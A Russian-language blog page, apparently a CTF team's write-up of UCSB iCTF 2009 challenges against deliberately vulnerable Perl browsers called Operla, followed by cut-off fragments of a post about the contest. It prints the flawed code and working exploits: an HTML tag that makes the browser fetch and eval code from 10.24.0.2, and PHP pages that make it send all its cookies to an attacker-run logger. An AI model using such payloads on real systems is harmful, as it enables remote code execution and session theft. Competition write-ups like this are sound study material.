С расписанием докладов и пр. можно ознакомиться на сайте: http://events.ccc.de/congress/2009/wiki/Main_Page
В дефолт сити пройдет московское отделение конференции, подробнее: http://community.livejournal.com/securityblogru/66982.html
Продолжаем разбор полетов iCTF 2009. Начало здесь.
Вторая версия браузера Operla уже была запатчена от уязвимости первой версии. Суть уязвимости была в основном функционале браузера - Operla 0.2 парсила все теги на предмет наличия в них action=([^;]*):
if ($text =~ /action=([^;]*)/) {
$obj = $self->{o};
$obj->action($1);
}
Соответственно в sub action было:
if ($action eq 'update') {
my $ua = $self->{ua};
$res = $ua->get ($self->{data});
$value = $res->content;
if ($self->verifySignature ($va1ue)) {
eval ($value);
}sub verifySignature {
my $self = shift @_;
$data = shift @_;
$hash = md5_hex ($data);
if ($data eq '' or $hash eq '5eb63bbbe01eeedO93cb22bb8f5acdc3' or $data eq '') {
return 1;
}
return 0;
}
Таким образом валидный код для eval только пустой или hello world, а поскольку $va1ue -- undef, то verifySignature всегда возвращала 1.
Эксплойт для главной страницы:
<span data="http://10.24.0.2 /o02.txt">action=update</span>
Вместо тега span может быть любой другой.
Исходники файлов:
operla-0.2.plНачнем разбор полетов по итогам UCSB iCTF 2009 с браузера Operla 0.1. Наши коллеги из команды ТГУ SiBears рассмотрели уже несколько браузеров (см. посты с тегом «Разборы»)
В браузере Operla 0.1 был найден всего 1 баг -- существует возможность похитить куки.
Если браузеру отдать кукис sec=hello+world, то браузер сделает GET со всеми кукисами на адрес, указанный в кукисе Remote-Cookie-Store.
Пример злобной страницы на PHP:
o01.php:get-sniff.php:<?php
setcookie('sec', 'hello world');
setcookie('Remote-Cookie-Store', 'http://10.24.0.2/get-sniff.php');
?>
Сам код внутри файла operla:<?php
$date = strftime('%d-%m-%Y %H:%M:%S', time());
$log = fopen('/tmp/log-operla-0.1.txt', 'a+');
if (!$log) return;
fprintf($log, "[%s from %s] %s\n", $date, $_SERVER['REMOTE_ADDR'], urldecode($_SERVER['REQUEST_URI']));
fclose($log);
}
?>
....
if ((defined ($c->{'sec'}) && trustedCstore($c->{'sec'})) && defined($c->{'Remote-Cookie-Store'})) {
$cstrurl = $c->{'Remote-Cookie-Store'};
$cstrurl =~ s/\%([A-Fa-f0-9]{2})/pack('C', hex($1))/seg;
$cstr =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
$cstrurl .= "?$cstr";
$ua->get($cstrurl);
}
....
sub trustedCstore {
my $val = shift @_;
$val =~ s/\+/ /g;
my $v = md5_hex($val);
if ($v eq '5eb63bbbe01eeed093cb22bb8f5acdc3') {
return 1;
}
return 0;
}
....
5eb63bbbe01eeed093cb22bb8f5acdc3 - это md5 от hello world.
Исходники файлов:
operla-0.1.pl
get-sniff.php
o01.php
4 декабря прошел очередной международный контест iCTF по принципу «захвати флаг». Организатор соревнований, профессор факультета Computer Science университета Калифорнии в
Формат соревнований на этот раз был необычный. Не было ни образов, ни сервисов, которые надо было патчить и ломать. Были самописные браузеры. Все, что требовалось от команд — поднять свой собственный
Забавный момент был когда в начале игры организаторы выложили большой архив с презентацией и
Заняли 22 место, но это пока. Я гарантирую это :)